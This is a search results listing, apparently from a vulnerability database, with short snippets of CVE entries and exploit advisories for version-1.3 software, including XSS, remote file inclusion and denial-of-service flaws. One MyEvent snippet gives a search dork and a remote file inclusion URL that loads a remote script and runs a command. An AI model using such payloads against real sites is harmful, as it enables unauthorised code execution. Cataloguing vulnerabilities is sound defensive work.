3089 matches found
Sun Java Runtime Environment 1.3/1.4/1.5 - Nested Array Objects Denial of Service
source: https://www.securityfocus.com/bid/18058/info The Sun Java Runtime Environment is vulnerable to a denial-of-service vulnerability. This issue is due to the software's failure to handle exceptional conditions. This issue is reported to affect Java Runtime Environment versions up to 1.4.211...
HiveMail 1.3 - addressbook.add.php Remote Code Execution
HiveMail 1.3 - addressbook.add.php Remote Code Execution !/usr/bin/perl HiveMail = 1.3 remote command execution exploit Advisory: http://www.gulftech.org/?node=research&articleid=00098-02102006 To get the hivesession: log on hivemail with firefox then look at the hivesession number in the url. ye...
thyme13.txt
---------------------------------------------------------- Aria-Security.net Advisory Discovered by: O.U.T.L.A.W Gr33t to: A.u.r.a & R@1D3N & Smok3r ----------------------------------------------------------- » Software: Thyme 1.3 » Link: http://www.extrosoft.com/products/thyme/demo/index.php »...
Cross site scripting
Cross-site scripting XSS vulnerability in Thyme 1.3 allows remote attackers to inject arbitrary web script or HTML via the search page...
CVE-2006-2117
Cross-site scripting XSS vulnerability in Thyme 1.3 allows remote attackers to inject arbitrary web script or HTML via the search page...
CVE-2006-2117
CVE-2006-2117 affects Thyme 1.3 with a cross-site scripting (XSS) vulnerability exposed via the search page. The NVD entry confirms an XSS issue allowing remote script/HTML injection; no details on affected versions beyond Thyme 1.3 are provided in the connected documents. There is no explicit re...
CVE-2006-2117
Cross-site scripting XSS vulnerability in Thyme 1.3 allows remote attackers to inject arbitrary web script or HTML via the search page...
r57shell.php <= 1.3 XSS
==================== Discovered by: Qex Date: 20 April 2006 ==================== Run command: XSS...
Remote file inclusion
PHP remote file inclusion vulnerability in index.php in Internet Photoshow 1.3 allows remote attackers to execute arbitrary PHP code via a URL in the page parameter...
CVE-2006-1919
The CVE-2006-1919 entry describes a PHP remote file inclusion in Internet Photoshow 1.3 (index.php) that allows remote attackers to execute arbitrary PHP code by supplying a URL in the page parameter. The vulnerability affects Internet Photoshow 1.3 and is due to including a user-supplied URL, en...
CVE-2006-1919
PHP remote file inclusion vulnerability in index.php in Internet Photoshow 1.3 allows remote attackers to execute arbitrary PHP code via a URL in the page parameter...
MyEvent 1.3 - event.php Remote File Inclusion
MyEvent 1.3 - event.php Remote File Inclusion Script : MyEvent Version : 1.2 Risk : High Class : Remote Credits : b3g0k,Nistiman,flot,Netqurd etc.. my forget other friends Google look for : = "MyEvent 1.2 " or "/calendar/myevent.php"...
MyEvent 1.3 - 'event.php' Remote File Inclusion
Script : MyEvent Version : 1.2 Risk : High Class : Remote Credits : b3g0k,Nistiman,flot,Netqurd etc.. my forget other friends Google look for : = "MyEvent 1.2 " or "/calendar/myevent.php" http://www.site.com/path/event.php?myeventpath=http://www.site.com/x.txt?&cmd=uname -a milw0rm.com 2006-04-17...
Remote file inclusion
PHP remote file inclusion vulnerability in admin/configset.php in Sphider 1.3 and earlier, when registerglobals is disabled, allows remote attackers to execute arbitrary PHP code via a URL in the settingsdir parameter...
CVE-2006-1784
PHP remote file inclusion vulnerability in admin/configset.php in Sphider 1.3 and earlier, when registerglobals is disabled, allows remote attackers to execute arbitrary PHP code via a URL in the settingsdir parameter...
CVE-2006-1784
CVE-2006-1784 affects Sphider up to version 1.3. The issue is a PHP remote file inclusion in admin/configset.php via the settings_dir parameter, allowing arbitrary PHP code execution under specific PHP configurations (notably related to register_globals). The problem is triggered when user input ...
Cross site scripting
Cross-site scripting XSS vulnerability in index.php in JBook 1.3 allows remote attackers to inject arbitrary web script or HTML via the page parameter...
CVE-2006-1765
Cross-site scripting XSS vulnerability in index.php in JBook 1.3 allows remote attackers to inject arbitrary web script or HTML via the page parameter...
CVE-2006-1765
CVE-2006-1765 describes a cross-site scripting (XSS) vulnerability in the JBook 1.3 application, occurring in index.php via the page parameter. The consolidated sources state that remote attackers can inject arbitrary web script or HTML. The information provided includes CVSS 2.0 metrics (base sc...